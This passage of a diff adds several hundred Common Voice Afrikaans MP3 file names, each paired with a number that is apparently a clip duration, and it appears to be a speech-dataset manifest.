common_voice_af_40419271.mp3 4428
|
| 147 |
+
common_voice_af_40126765.mp3 3888
|
| 148 |
+
common_voice_af_39005451.mp3 1728
|
| 149 |
+
common_voice_af_40281032.mp3 3816
|
| 150 |
+
common_voice_af_39597179.mp3 7272
|
| 151 |
+
common_voice_af_39809482.mp3 9504
|
| 152 |
+
common_voice_af_40407472.mp3 3060
|
| 153 |
+
common_voice_af_39597170.mp3 4140
|
| 154 |
+
common_voice_af_39809391.mp3 5220
|
| 155 |
+
common_voice_af_40437523.mp3 7416
|
| 156 |
+
common_voice_af_41673283.mp3 6768
|
| 157 |
+
common_voice_af_38089140.mp3 9936
|
| 158 |
+
common_voice_af_38089501.mp3 9684
|
| 159 |
+
common_voice_af_39005439.mp3 1980
|
| 160 |
+
common_voice_af_40437809.mp3 9936
|
| 161 |
+
common_voice_af_38087507.mp3 9576
|
| 162 |
+
common_voice_af_39053465.mp3 1836
|
| 163 |
+
common_voice_af_40328308.mp3 5832
|
| 164 |
+
common_voice_af_39005358.mp3 1908
|
| 165 |
+
common_voice_af_40419242.mp3 7668
|
| 166 |
+
common_voice_af_39005413.mp3 2340
|
| 167 |
+
common_voice_af_40407462.mp3 7956
|
| 168 |
+
common_voice_af_40126763.mp3 5004
|
| 169 |
+
common_voice_af_39879081.mp3 7596
|
| 170 |
+
common_voice_af_40447989.mp3 8640
|
| 171 |
+
common_voice_af_39812015.mp3 7020
|
| 172 |
+
common_voice_af_40126766.mp3 5328
|
| 173 |
+
common_voice_af_38086399.mp3 8136
|
| 174 |
+
common_voice_af_39005449.mp3 1908
|
| 175 |
+
common_voice_af_40485311.mp3 4176
|
| 176 |
+
common_voice_af_40328249.mp3 3636
|
| 177 |
+
common_voice_af_39022893.mp3 2772
|
| 178 |
+
common_voice_af_38089136.mp3 3672
|
| 179 |
+
common_voice_af_42433043.mp3 9180
|
| 180 |
+
common_voice_af_40401258.mp3 8136
|
| 181 |
+
common_voice_af_41652213.mp3 2916
|
| 182 |
+
common_voice_af_39022792.mp3 3384
|
| 183 |
+
common_voice_af_41796913.mp3 3240
|
| 184 |
+
common_voice_af_39879082.mp3 2808
|
| 185 |
+
common_voice_af_39005437.mp3 1908
|
| 186 |
+
common_voice_af_40407473.mp3 4428
|
| 187 |
+
common_voice_af_40281010.mp3 3636
|
| 188 |
+
common_voice_af_40401259.mp3 7956
|
| 189 |
+
common_voice_af_39022894.mp3 2952
|
| 190 |
+
common_voice_af_39612842.mp3 3420
|
| 191 |
+
common_voice_af_40447702.mp3 7416
|
| 192 |
+
common_voice_af_39631310.mp3 8244
|
| 193 |
+
common_voice_af_41622792.mp3 6948
|
| 194 |
+
common_voice_af_40728043.mp3 4716
|
| 195 |
+
common_voice_af_39597206.mp3 7092
|
| 196 |
+
common_voice_af_38090553.mp3 7668
|
| 197 |
+
common_voice_af_38089137.mp3 10224
|
| 198 |
+
common_voice_af_39053391.mp3 1656
|
| 199 |
+
common_voice_af_41650416.mp3 5328
|
| 200 |
+
common_voice_af_38090313.mp3 4356
|
| 201 |
+
common_voice_af_40405134.mp3 4680
|
| 202 |
+
common_voice_af_40485262.mp3 2916
|
| 203 |
+
common_voice_af_41655337.mp3 6480
|
| 204 |
+
common_voice_af_40437808.mp3 8496
|
| 205 |
+
common_voice_af_40281029.mp3 6588
|
| 206 |
+
common_voice_af_38087096.mp3 9396
|
| 207 |
+
common_voice_af_39053439.mp3 1656
|
| 208 |
+
common_voice_af_40406246.mp3 7776
|
| 209 |
+
common_voice_af_40126785.mp3 2088
|
| 210 |
+
common_voice_af_38089139.mp3 5616
|
| 211 |
+
common_voice_af_40726864.mp3 6948
|
| 212 |
+
common_voice_af_42432332.mp3 10836
|
| 213 |
+
common_voice_af_41654779.mp3 3096
|
| 214 |
+
common_voice_af_41681541.mp3 8208
|
| 215 |
+
common_voice_af_41650433.mp3 7560
|
| 216 |
+
common_voice_af_38088782.mp3 4860
|
| 217 |
+
common_voice_af_39005372.mp3 1548
|
| 218 |
+
common_voice_af_41650439.mp3 4860
|
| 219 |
+
common_voice_af_39005373.mp3 1620
|
| 220 |
+
common_voice_af_39005364.mp3 1728
|
| 221 |
+
common_voice_af_42733733.mp3 3780
|
| 222 |
+
common_voice_af_39022769.mp3 5328
|
| 223 |
+
common_voice_af_40727040.mp3 8676
|
| 224 |
+
common_voice_af_39022879.mp3 3492
|
| 225 |
+
common_voice_af_39879080.mp3 5616
|
| 226 |
+
common_voice_af_41654780.mp3 8676
|
| 227 |
+
common_voice_af_39022782.mp3 3996
|
| 228 |
+
common_voice_af_41654038.mp3 2808
|
| 229 |
+
common_voice_af_39812039.mp3 3564
|
| 230 |
+
common_voice_af_39631222.mp3 4320
|
| 231 |
+
common_voice_af_40401261.mp3 8316
|
| 232 |
+
common_voice_af_41655339.mp3 6480
|
| 233 |
+
common_voice_af_42432300.mp3 9576
|
| 234 |
+
common_voice_af_40419248.mp3 7920
|
| 235 |
+
common_voice_af_40407471.mp3 7668
|
| 236 |
+
common_voice_af_39053442.mp3 1728
|
| 237 |
+
common_voice_af_39022870.mp3 5436
|
| 238 |
+
common_voice_af_39022815.mp3 4140
|
| 239 |
+
common_voice_af_42432317.mp3 10548
|
| 240 |
+
common_voice_af_41681531.mp3 8100
|
| 241 |
+
common_voice_af_41654042.mp3 7020
|
| 242 |
+
common_voice_af_40437513.mp3 6480
|
| 243 |
+
common_voice_af_42394999.mp3 5220
|
| 244 |
+
common_voice_af_39022811.mp3 7056
|
| 245 |
+
common_voice_af_39809375.mp3 7668
|
| 246 |
+
common_voice_af_40328247.mp3 7488
|
| 247 |
+
common_voice_af_43426494.mp3 10260
|
| 248 |
+
common_voice_af_39022758.mp3 3708
|
| 249 |
+
common_voice_af_39022778.mp3 6300
|
| 250 |
+
common_voice_af_40405990.mp3 7236
|
| 251 |
+
common_voice_af_40281012.mp3 4140
|
| 252 |
+
common_voice_af_39005359.mp3 1656
|
| 253 |
+
common_voice_af_40328278.mp3 6732
|
| 254 |
+
common_voice_af_39022809.mp3 4968
|
| 255 |
+
common_voice_af_40447988.mp3 7776
|
| 256 |
+
common_voice_af_42586868.mp3 3780
|
| 257 |
+
common_voice_af_41652628.mp3 7884
|
| 258 |
+
common_voice_af_41652210.mp3 7380
|
| 259 |
+
common_voice_af_41654971.mp3 8280
|
| 260 |
+
common_voice_af_39812018.mp3 6300
|
| 261 |
+
common_voice_af_41673291.mp3 8820
|
| 262 |
+
common_voice_af_39597093.mp3 7524
|
| 263 |
+
common_voice_af_40328277.mp3 4644
|
| 264 |
+
common_voice_af_39022814.mp3 3672
|
| 265 |
+
common_voice_af_41690796.mp3 7020
|
| 266 |
+
common_voice_af_42393656.mp3 4140
|
| 267 |
+
common_voice_af_39809501.mp3 5544
|
| 268 |
+
common_voice_af_39022826.mp3 4284
|
| 269 |
+
common_voice_af_41650436.mp3 3636
|
| 270 |
+
common_voice_af_38087460.mp3 8460
|
| 271 |
+
common_voice_af_38088783.mp3 7956
|
| 272 |
+
common_voice_af_40328291.mp3 6732
|
| 273 |
+
common_voice_af_40405112.mp3 5400
|
| 274 |
+
common_voice_af_38088723.mp3 7920
|
| 275 |
+
common_voice_af_38090552.mp3 6264
|
| 276 |
+
common_voice_af_42394772.mp3 4428
|
| 277 |
+
common_voice_af_39812007.mp3 6336
|
| 278 |
+
common_voice_af_40406265.mp3 3780
|
| 279 |
+
common_voice_af_40437773.mp3 5256
|
| 280 |
+
common_voice_af_42744758.mp3 7380
|
| 281 |
+
common_voice_af_40405994.mp3 7020
|
| 282 |
+
common_voice_af_38088753.mp3 8640
|
| 283 |
+
common_voice_af_40437512.mp3 7956
|
| 284 |
+
common_voice_af_43426498.mp3 9720
|
| 285 |
+
common_voice_af_39597123.mp3 6696
|
| 286 |
+
common_voice_af_39053443.mp3 1728
|
| 287 |
+
common_voice_af_39809400.mp3 7704
|
| 288 |
+
common_voice_af_40280993.mp3 4356
|
| 289 |
+
common_voice_af_41654033.mp3 11844
|
| 290 |
+
common_voice_af_41652630.mp3 6948
|
| 291 |
+
common_voice_af_42733708.mp3 8100
|
| 292 |
+
common_voice_af_39597148.mp3 6624
|
| 293 |
+
common_voice_af_38090554.mp3 7416
|
| 294 |
+
common_voice_af_41654772.mp3 4320
|
| 295 |
+
common_voice_af_41622790.mp3 8208
|
| 296 |
+
common_voice_af_39005395.mp3 2088
|
| 297 |
+
common_voice_af_39022801.mp3 5040
|
| 298 |
+
common_voice_af_42716220.mp3 7416
|
| 299 |
+
common_voice_af_39612839.mp3 2700
|
| 300 |
+
common_voice_af_38089505.mp3 4572
|
| 301 |
+
common_voice_af_40437755.mp3 7488
|
| 302 |
+
common_voice_af_40727197.mp3 7956
|
| 303 |
+
common_voice_af_39005468.mp3 2448
|
| 304 |
+
common_voice_af_38087448.mp3 8820
|
| 305 |
+
common_voice_af_38087097.mp3 8136
|
| 306 |
+
common_voice_af_41654037.mp3 7452
|
| 307 |
+
common_voice_af_40437517.mp3 5760
|
| 308 |
+
common_voice_af_40399179.mp3 5508
|
| 309 |
+
common_voice_af_39809500.mp3 9000
|
| 310 |
+
common_voice_af_40406225.mp3 3348
|
| 311 |
+
common_voice_af_40328267.mp3 6552
|
| 312 |
+
common_voice_af_39809503.mp3 6732
|
| 313 |
+
common_voice_af_41622795.mp3 4248
|
| 314 |
+
common_voice_af_38087493.mp3 5688
|
| 315 |
+
common_voice_af_39022781.mp3 4788
|
| 316 |
+
common_voice_af_39809485.mp3 4788
|
| 317 |
+
common_voice_af_38087449.mp3 6840
|
| 318 |
+
common_voice_af_39597116.mp3 4284
|
| 319 |
+
common_voice_af_41654274.mp3 7020
|
| 320 |
+
common_voice_af_41690797.mp3 5220
|
| 321 |
+
common_voice_af_40237724.mp3 9000
|
| 322 |
+
common_voice_af_39597070.mp3 4464
|
| 323 |
+
common_voice_af_42733724.mp3 7488
|
| 324 |
+
common_voice_af_40328290.mp3 6948
|
| 325 |
+
common_voice_af_41652196.mp3 6048
|
| 326 |
+
common_voice_af_41622768.mp3 6660
|
| 327 |
+
common_voice_af_40437812.mp3 6408
|
| 328 |
+
common_voice_af_41655346.mp3 6840
|
| 329 |
+
common_voice_af_40728042.mp3 7488
|
| 330 |
+
common_voice_af_38091964.mp3 7236
|
| 331 |
+
common_voice_af_38090315.mp3 6228
|
| 332 |
+
common_voice_af_42393300.mp3 4536
|
| 333 |
+
common_voice_af_40281027.mp3 3528
|
| 334 |
+
common_voice_af_40727945.mp3 7776
|
| 335 |
+
common_voice_af_40328295.mp3 7848
|
| 336 |
+
common_voice_af_39809467.mp3 8496
|
| 337 |
+
common_voice_af_40406229.mp3 4608
|
| 338 |
+
common_voice_af_39597121.mp3 7920
|
| 339 |
+
common_voice_af_41654275.mp3 8136
|
| 340 |
+
common_voice_af_40726863.mp3 6228
|
| 341 |
+
common_voice_af_38091466.mp3 2376
|
| 342 |
+
common_voice_af_41650438.mp3 6696
|
| 343 |
+
common_voice_af_40485312.mp3 2628
|
| 344 |
+
common_voice_af_39005361.mp3 1728
|
| 345 |
+
common_voice_af_39053426.mp3 1800
|
| 346 |
+
common_voice_af_42733705.mp3 7776
|
| 347 |
+
common_voice_af_40401260.mp3 5868
|
| 348 |
+
common_voice_af_40405110.mp3 7956
|
| 349 |
+
common_voice_af_41652211.mp3 6336
|
| 350 |
+
common_voice_af_40419268.mp3 9540
|
| 351 |
+
common_voice_af_40419269.mp3 7740
|
| 352 |
+
common_voice_af_39022772.mp3 4968
|
| 353 |
+
common_voice_af_40328292.mp3 3096
|
| 354 |
+
common_voice_af_41654766.mp3 8028
|
| 355 |
+
common_voice_af_39005406.mp3 2160
|
| 356 |
+
common_voice_af_39809371.mp3 8748
|
| 357 |
+
common_voice_af_39022762.mp3 3708
|
| 358 |
+
common_voice_af_38088754.mp3 7380
|
| 359 |
+
common_voice_af_40437514.mp3 8316
|
| 360 |
+
common_voice_af_39005415.mp3 2520
|
| 361 |
+
common_voice_af_38087464.mp3 4680
|
| 362 |
+
common_voice_af_41681530.mp3 8496
|
| 363 |
+
common_voice_af_40419270.mp3 4068
|
| 364 |
+
common_voice_af_41652198.mp3 6480
|
| 365 |
+
common_voice_af_40485310.mp3 6840
|
| 366 |
+
common_voice_af_39597047.mp3 6876
|
| 367 |
+
common_voice_af_40437522.mp3 7956
|
| 368 |
+
common_voice_af_39597119.mp3 6228
|
| 369 |
+
common_voice_af_38087461.mp3 3816
|
| 370 |
+
common_voice_af_38089147.mp3 8100
|
| 371 |
+
common_voice_af_42733727.mp3 8208
|
| 372 |
+
common_voice_af_39022763.mp3 6300
|
| 373 |
+
common_voice_af_39022834.mp3 5436
|
| 374 |
+
common_voice_af_40406243.mp3 8280
|
| 375 |
+
common_voice_af_40405992.mp3 4428
|
| 376 |
+
common_voice_af_39597208.mp3 8640
|
| 377 |
+
common_voice_af_40726865.mp3 6408
|
| 378 |
+
common_voice_af_40406231.mp3 6516
|
| 379 |
+
common_voice_af_39022761.mp3 4032
|
| 380 |
+
common_voice_af_40682193.mp3 9648
|
| 381 |
+
common_voice_af_39809393.mp3 7488
|
| 382 |
+
common_voice_af_39022905.mp3 3240
|
| 383 |
+
common_voice_af_39812037.mp3 6732
|
| 384 |
+
common_voice_af_40682194.mp3 9540
|
| 385 |
+
common_voice_af_39812008.mp3 4608
|
| 386 |
+
common_voice_af_39022788.mp3 4536
|
| 387 |
+
common_voice_af_39597096.mp3 7344
|
| 388 |
+
common_voice_af_41652209.mp3 6300
|
| 389 |
+
common_voice_af_39812027.mp3 5184
|
| 390 |
+
common_voice_af_40328293.mp3 7164
|
| 391 |
+
common_voice_af_39022790.mp3 4068
|
| 392 |
+
common_voice_af_42586867.mp3 4716
|
| 393 |
+
common_voice_af_40727944.mp3 7308
|
| 394 |
+
common_voice_af_42393327.mp3 4428
|
| 395 |
+
common_voice_af_42433070.mp3 11808
|
| 396 |
+
common_voice_af_38089142.mp3 2916
|
| 397 |
+
common_voice_af_38088725.mp3 7848
|
| 398 |
+
common_voice_af_40447701.mp3 5220
|
| 399 |
+
common_voice_af_40727732.mp3 4428
|
| 400 |
+
common_voice_af_39005445.mp3 2088
|
| 401 |
+
common_voice_af_39022880.mp3 3816
|
| 402 |
+
common_voice_af_41654768.mp3 5616
|
| 403 |
+
common_voice_af_41622767.mp3 8280
|
| 404 |
+
common_voice_af_39022770.mp3 6876
|
| 405 |
+
common_voice_af_39597095.mp3 3132
|
| 406 |
+
common_voice_af_42733728.mp3 4968
|
| 407 |
+
common_voice_af_40126772.mp3 3024
|
| 408 |
+
common_voice_af_39022881.mp3 3816
|
| 409 |
+
common_voice_af_39809466.mp3 6048
|
| 410 |
+
common_voice_af_40727733.mp3 7956
|
| 411 |
+
common_voice_af_40419243.mp3 4536
|
| 412 |
+
common_voice_af_40419250.mp3 8028
|
| 413 |
+
common_voice_af_40435290.mp3 4860
|
| 414 |
+
common_voice_af_40727100.mp3 8568
|
| 415 |
+
common_voice_af_40426242.mp3 7560
|
| 416 |
+
common_voice_af_42393301.mp3 6768
|
| 417 |
+
common_voice_af_39612837.mp3 6588
|
| 418 |
+
common_voice_af_40435285.mp3 6300
|
| 419 |
+
common_voice_af_42433044.mp3 8100
|
| 420 |
+
common_voice_af_39812029.mp3 7164
|
| 421 |
+
common_voice_af_41652400.mp3 4140
|
| 422 |
+
common_voice_af_40328306.mp3 7416
|
| 423 |
+
common_voice_af_40126764.mp3 2916
|
| 424 |
+
common_voice_af_40328284.mp3 5004
|
| 425 |
+
common_voice_af_39005465.mp3 2016
|
| 426 |
+
common_voice_af_39022823.mp3 5688
|
| 427 |
+
common_voice_af_39022843.mp3 4392
|
| 428 |
+
common_voice_af_41654969.mp3 9684
|
| 429 |
+
common_voice_af_40280992.mp3 8856
|
| 430 |
+
common_voice_af_41655348.mp3 6336
|
| 431 |
+
common_voice_af_39005366.mp3 1656
|
| 432 |
+
common_voice_af_39016674.mp3 3060
|
| 433 |
+
common_voice_af_39809233.mp3 7524
|
| 434 |
+
common_voice_af_39053427.mp3 1620
|
| 435 |
+
common_voice_af_38090281.mp3 3456
|
| 436 |
+
common_voice_af_39005389.mp3 2340
|
| 437 |
+
common_voice_af_40328248.mp3 8172
|
| 438 |
+
common_voice_af_40406227.mp3 8568
|
| 439 |
+
common_voice_af_41673293.mp3 7200
|
| 440 |
+
common_voice_af_38089502.mp3 7308
|
| 441 |
+
common_voice_af_39022799.mp3 5760
|
| 442 |
+
common_voice_af_40485263.mp3 6048
|
| 443 |
+
common_voice_af_41652632.mp3 7236
|
| 444 |
+
common_voice_af_41655347.mp3 2916
|
| 445 |
+
common_voice_af_42433063.mp3 11160
|
| 446 |
+
common_voice_af_41655363.mp3 6228
|
| 447 |
+
common_voice_af_41655361.mp3 4788
|
| 448 |
+
common_voice_af_40407463.mp3 4428
|
| 449 |
+
common_voice_af_40426244.mp3 3816
|
| 450 |
+
common_voice_af_40419249.mp3 4176
|
| 451 |
+
common_voice_af_42394997.mp3 7740
|
| 452 |
+
common_voice_af_40447611.mp3 5220
|
| 453 |
+
common_voice_af_39016673.mp3 2880
|
| 454 |
+
common_voice_af_41652401.mp3 6516
|
| 455 |
+
common_voice_af_40280990.mp3 6840
|
| 456 |
+
common_voice_af_40727736.mp3 8640
|
| 457 |
+
common_voice_af_39812009.mp3 6768
|
| 458 |
+
common_voice_af_38088786.mp3 8496
|
| 459 |
+
common_voice_af_39022802.mp3 4464
|
| 460 |
+
common_voice_af_40727039.mp3 10008
|
| 461 |
+
common_voice_af_42432333.mp3 10368
|
| 462 |
+
common_voice_af_39879078.mp3 8028
|
| 463 |
+
common_voice_af_39809374.mp3 7452
|
| 464 |
+
common_voice_af_39667406.mp3 8208
|
| 465 |
+
common_voice_af_40727099.mp3 8928
|
| 466 |
+
common_voice_af_41652182.mp3 2808
|
| 467 |
+
common_voice_af_39016675.mp3 4320
|
| 468 |
+
common_voice_af_40281030.mp3 7020
|
| 469 |
+
common_voice_af_42432335.mp3 7128
|
| 470 |
+
common_voice_af_41796864.mp3 3600
|
| 471 |
+
common_voice_af_40328275.mp3 6912
|
| 472 |
+
common_voice_af_39022845.mp3 4572
|
| 473 |
+
common_voice_af_40437770.mp3 8568
|
| 474 |
+
common_voice_af_40419267.mp3 9000
|
| 475 |
+
common_voice_af_39597043.mp3 2412
|
| 476 |
+
common_voice_af_41796917.mp3 3888
|
| 477 |
+
common_voice_af_39022896.mp3 3348
|
| 478 |
+
common_voice_af_39812006.mp3 3780
|
| 479 |
+
common_voice_af_40437515.mp3 8820
|
| 480 |
+
common_voice_af_41654272.mp3 7596
|
| 481 |
+
common_voice_af_39597046.mp3 7488
|
| 482 |
+
common_voice_af_40728041.mp3 4320
|
| 483 |
+
common_voice_af_40437768.mp3 5256
|
| 484 |
+
common_voice_af_39005479.mp3 2196
|
| 485 |
+
common_voice_af_38094605.mp3 3168
|
| 486 |
+
common_voice_af_42433068.mp3 5328
|
| 487 |
+
common_voice_af_40435284.mp3 6876
|
| 488 |
+
common_voice_af_39022825.mp3 5256
|
| 489 |
+
common_voice_af_39053424.mp3 1656
|
| 490 |
+
common_voice_af_41681527.mp3 6660
|
| 491 |
+
common_voice_af_39597075.mp3 6876
|
| 492 |
+
common_voice_af_39022768.mp3 4968
|
| 493 |
+
common_voice_af_39631309.mp3 9252
|
| 494 |
+
common_voice_af_39760358.mp3 9576
|
| 495 |
+
common_voice_af_39597073.mp3 6660
|
| 496 |
+
common_voice_af_39005360.mp3 1800
|
| 497 |
+
common_voice_af_40406244.mp3 6408
|
| 498 |
+
common_voice_af_39022844.mp3 3780
|
| 499 |
+
common_voice_af_42744761.mp3 3312
|
| 500 |
+
common_voice_af_42432304.mp3 9396
|
| 501 |
+
common_voice_af_42433094.mp3 11556
|
| 502 |
+
common_voice_af_39005407.mp3 2196
|
| 503 |
+
common_voice_af_40727101.mp3 8100
|
| 504 |
+
common_voice_af_41622770.mp3 8640
|
| 505 |
+
common_voice_af_39022836.mp3 4536
|
| 506 |
+
common_voice_af_40328243.mp3 3060
|
| 507 |
+
common_voice_af_40405986.mp3 9360
|
| 508 |
+
common_voice_af_39809480.mp3 6624
|
| 509 |
+
common_voice_af_40281008.mp3 7128
|
| 510 |
+
common_voice_af_39005463.mp3 1836
|
| 511 |
+
common_voice_af_38089141.mp3 7776
|
| 512 |
+
common_voice_af_41654774.mp3 8388
|
| 513 |
+
common_voice_af_41654270.mp3 8568
|
| 514 |
+
common_voice_af_40437541.mp3 8316
|
| 515 |
+
common_voice_af_42396757.mp3 9108
|
| 516 |
+
common_voice_af_39631308.mp3 9180
|
| 517 |
+
common_voice_af_40328276.mp3 5688
|
| 518 |
+
common_voice_af_40405995.mp3 6336
|
| 519 |
+
common_voice_af_40405989.mp3 7200
|
| 520 |
+
common_voice_af_39809502.mp3 7992
|
| 521 |
+
common_voice_af_39879079.mp3 8136
|
| 522 |
+
common_voice_af_38087505.mp3 6408
|
| 523 |
+
common_voice_af_42744759.mp3 6768
|
| 524 |
+
common_voice_af_39812028.mp3 7236
|
| 525 |
+
common_voice_af_40328269.mp3 3348
|
| 526 |
+
common_voice_af_40405103.mp3 8568
|
| 527 |
+
common_voice_af_40727735.mp3 11016
|
| 528 |
+
common_voice_af_40447612.mp3 5760
|
| 529 |
+
common_voice_af_39005443.mp3 2016
|
| 530 |
+
common_voice_af_40328266.mp3 5976
|
| 531 |
+
common_voice_af_42433041.mp3 3888
|
| 532 |
+
common_voice_af_38089145.mp3 8820
|
| 533 |
+
common_voice_af_40126767.mp3 8964
|
| 534 |
+
common_voice_af_39631225.mp3 10188
|
| 535 |
+
common_voice_af_38088394.mp3 10440
|
| 536 |
+
common_voice_af_42394782.mp3 3708
|
| 537 |
+
common_voice_af_40426246.mp3 7668
|
| 538 |
+
common_voice_af_40447615.mp3 3708
|
| 539 |
+
common_voice_af_39022862.mp3 6732
|
| 540 |
+
common_voice_af_40727043.mp3 12888
|
| 541 |
+
common_voice_af_39809464.mp3 3312
|
| 542 |
+
common_voice_af_39053462.mp3 1656
|
| 543 |
+
common_voice_af_40406267.mp3 7776
|
| 544 |
+
common_voice_af_39022760.mp3 4536
|
| 545 |
+
common_voice_af_39005387.mp3 2340
|
| 546 |
+
common_voice_af_42733706.mp3 7956
|
| 547 |
+
common_voice_af_41796866.mp3 3060
|
| 548 |
+
common_voice_af_42394995.mp3 7236
|
| 549 |
+
common_voice_af_39809396.mp3 4932
|
| 550 |
+
common_voice_af_40328279.mp3 7308
|
| 551 |
+
common_voice_af_42394774.mp3 4680
|
| 552 |
+
common_voice_af_40126782.mp3 7056
|
| 553 |
+
common_voice_af_41654273.mp3 6876
|
| 554 |
+
common_voice_af_41646222.mp3 4644
|
| 555 |
+
common_voice_af_38088785.mp3 4788
|
| 556 |
+
common_voice_af_39597045.mp3 5004
|
| 557 |
+
common_voice_af_42396758.mp3 10188
|
| 558 |
+
common_voice_af_39597168.mp3 2844
|
| 559 |
+
common_voice_af_42716219.mp3 6660
|
| 560 |
+
common_voice_af_39005414.mp3 2736
|
| 561 |
+
common_voice_af_40727196.mp3 7740
|
| 562 |
+
common_voice_af_41796916.mp3 3240
|
| 563 |
+
common_voice_af_40447985.mp3 7920
|
| 564 |
+
common_voice_af_40328309.mp3 3420
|
| 565 |
+
common_voice_af_39022872.mp3 4824
|
| 566 |
+
common_voice_af_39809398.mp3 4860
|
| 567 |
+
common_voice_af_40126768.mp3 5364
|
| 568 |
+
common_voice_af_39022903.mp3 2988
|
| 569 |
+
common_voice_af_42393298.mp3 6768
|
| 570 |
+
common_voice_af_39809372.mp3 4860
|
| 571 |
+
common_voice_af_39005447.mp3 1980
|
| 572 |
+
common_voice_af_39005412.mp3 2196
|
| 573 |
+
common_voice_af_38087098.mp3 9648
|
| 574 |
+
common_voice_af_39005402.mp3 1908
|
| 575 |
+
common_voice_af_38088397.mp3 3636
|
| 576 |
+
common_voice_af_39597146.mp3 3708
|
| 577 |
+
common_voice_af_40435292.mp3 3780
|
| 578 |
+
common_voice_af_43426495.mp3 10620
|
| 579 |
+
common_voice_af_39053388.mp3 1980
|
| 580 |
+
common_voice_af_39809499.mp3 4536
|
| 581 |
+
common_voice_af_39022895.mp3 3132
|
| 582 |
+
common_voice_af_39053438.mp3 2088
|
| 583 |
+
common_voice_af_42733725.mp3 8028
|
| 584 |
+
common_voice_af_41673292.mp3 6660
|
| 585 |
+
common_voice_af_39022837.mp3 3672
|
| 586 |
+
common_voice_af_39005450.mp3 1800
|
| 587 |
+
common_voice_af_41654781.mp3 7740
|
| 588 |
+
common_voice_af_40437746.mp3 4896
|
| 589 |
+
common_voice_af_40682196.mp3 12348
|
| 590 |
+
common_voice_af_41796908.mp3 2340
|
| 591 |
+
common_voice_af_39022759.mp3 4968
|
| 592 |
+
common_voice_af_39005473.mp3 3060
|
| 593 |
+
common_voice_af_43426497.mp3 10080
|
| 594 |
+
common_voice_af_39016677.mp3 4356
|
| 595 |
+
common_voice_af_42432302.mp3 9936
|
| 596 |
+
common_voice_af_41646221.mp3 8208
|
| 597 |
+
common_voice_af_38087447.mp3 3888
|
| 598 |
+
common_voice_af_38090278.mp3 8856
|
| 599 |
+
common_voice_af_39667404.mp3 8496
|
| 600 |
+
common_voice_af_41673289.mp3 7020
|
| 601 |
+
common_voice_af_39005394.mp3 2196
|
| 602 |
+
common_voice_af_40406228.mp3 4176
|
| 603 |
+
common_voice_af_41652631.mp3 8424
|
| 604 |
+
common_voice_af_41654967.mp3 7848
|
| 605 |
+
common_voice_af_39022861.mp3 6264
|
| 606 |
+
common_voice_af_39005478.mp3 2628
|
| 607 |
+
common_voice_af_38090319.mp3 3888
|
| 608 |
+
common_voice_af_41622766.mp3 11376
|
| 609 |
+
common_voice_af_40328250.mp3 4032
|
| 610 |
+
common_voice_af_40399183.mp3 4176
|
| 611 |
+
common_voice_af_40727042.mp3 4248
|
| 612 |
+
common_voice_af_41655362.mp3 6588
|
| 613 |
+
common_voice_af_41646220.mp3 8532
|
| 614 |
+
common_voice_af_40682195.mp3 4680
|
| 615 |
+
common_voice_af_39022847.mp3 6444
|
| 616 |
+
common_voice_af_40419244.mp3 4716
|
| 617 |
+
common_voice_af_42396759.mp3 8388
|
| 618 |
+
common_voice_af_42393413.mp3 5580
|
| 619 |
+
common_voice_af_41655340.mp3 6228
|
| 620 |
+
common_voice_af_40485309.mp3 3888
|
| 621 |
+
common_voice_af_41673282.mp3 5940
|
| 622 |
+
common_voice_af_41650434.mp3 4068
|
| 623 |
+
common_voice_af_39022765.mp3 4176
|
| 624 |
+
common_voice_af_39022846.mp3 4500
|
| 625 |
+
common_voice_af_42716222.mp3 11268
|
| 626 |
+
common_voice_af_41796910.mp3 2736
|
| 627 |
+
common_voice_af_40328305.mp3 6876
|
| 628 |
+
common_voice_af_39022766.mp3 3888
|
| 629 |
+
common_voice_af_39597209.mp3 3744
|
| 630 |
+
common_voice_af_38087463.mp3 6408
|
| 631 |
+
common_voice_af_39053430.mp3 1620
|
| 632 |
+
common_voice_af_39053390.mp3 1800
|
| 633 |
+
common_voice_af_39005403.mp3 1980
|
| 634 |
+
common_voice_af_41654034.mp3 7200
|
| 635 |
+
common_voice_af_41650417.mp3 6480
|
| 636 |
+
common_voice_af_40406269.mp3 9216
|
| 637 |
+
common_voice_af_40728046.mp3 8280
|
| 638 |
+
common_voice_af_39005352.mp3 1836
|
| 639 |
+
common_voice_af_40405988.mp3 8568
|
| 640 |
+
common_voice_af_39812019.mp3 2988
|
| 641 |
+
common_voice_af_41652195.mp3 5976
|
| 642 |
+
common_voice_af_38090317.mp3 3888
|
| 643 |
+
common_voice_af_39005411.mp3 2376
|
| 644 |
+
common_voice_af_41652181.mp3 6696
|
| 645 |
+
common_voice_af_38088395.mp3 9288
|
| 646 |
+
common_voice_af_39005480.mp3 2340
|
| 647 |
+
common_voice_af_42433069.mp3 9576
|
| 648 |
+
common_voice_af_40447613.mp3 5580
|
| 649 |
+
common_voice_af_39809234.mp3 7632
|
| 650 |
+
common_voice_af_38087486.mp3 8460
|
| 651 |
+
common_voice_af_40406247.mp3 4680
|
| 652 |
+
common_voice_af_39809373.mp3 3600
|
| 653 |
+
common_voice_af_41681528.mp3 7200
|
| 654 |
+
common_voice_af_39809235.mp3 9684
|
| 655 |
+
common_voice_af_40405137.mp3 4968
|
| 656 |
+
common_voice_af_40405136.mp3 4788
|
| 657 |
+
common_voice_af_42733707.mp3 7560
|
| 658 |
+
common_voice_af_41654777.mp3 8028
|
| 659 |
+
common_voice_af_39005405.mp3 2196
|
| 660 |
+
common_voice_af_39022858.mp3 5292
|
| 661 |
+
common_voice_af_39005442.mp3 2088
|
| 662 |
+
common_voice_af_40405987.mp3 9180
|
| 663 |
+
common_voice_af_41652185.mp3 6156
|
| 664 |
+
common_voice_af_39005464.mp3 1836
|
| 665 |
+
common_voice_af_42733738.mp3 8280
|
| 666 |
+
common_voice_af_42433045.mp3 9396
|
| 667 |
+
common_voice_af_41650431.mp3 6120
|
| 668 |
+
common_voice_af_40328282.mp3 7920
|
| 669 |
+
common_voice_af_41622793.mp3 4356
|
| 670 |
+
common_voice_af_39005467.mp3 2340
|
| 671 |
+
common_voice_af_39022813.mp3 5040
|
| 672 |
+
common_voice_af_40407461.mp3 3960
|
| 673 |
+
common_voice_af_40407464.mp3 7596
|
| 674 |
+
common_voice_af_42586866.mp3 5220
|
| 675 |
+
common_voice_af_40727943.mp3 5976
|
| 676 |
+
common_voice_af_38087446.mp3 4068
|
| 677 |
+
common_voice_af_41796869.mp3 2736
|
| 678 |
+
common_voice_af_41655336.mp3 2556
|
| 679 |
+
common_voice_af_39005374.mp3 1800
|
| 680 |
+
common_voice_af_42733734.mp3 7488
|
| 681 |
+
common_voice_af_42393415.mp3 3960
|
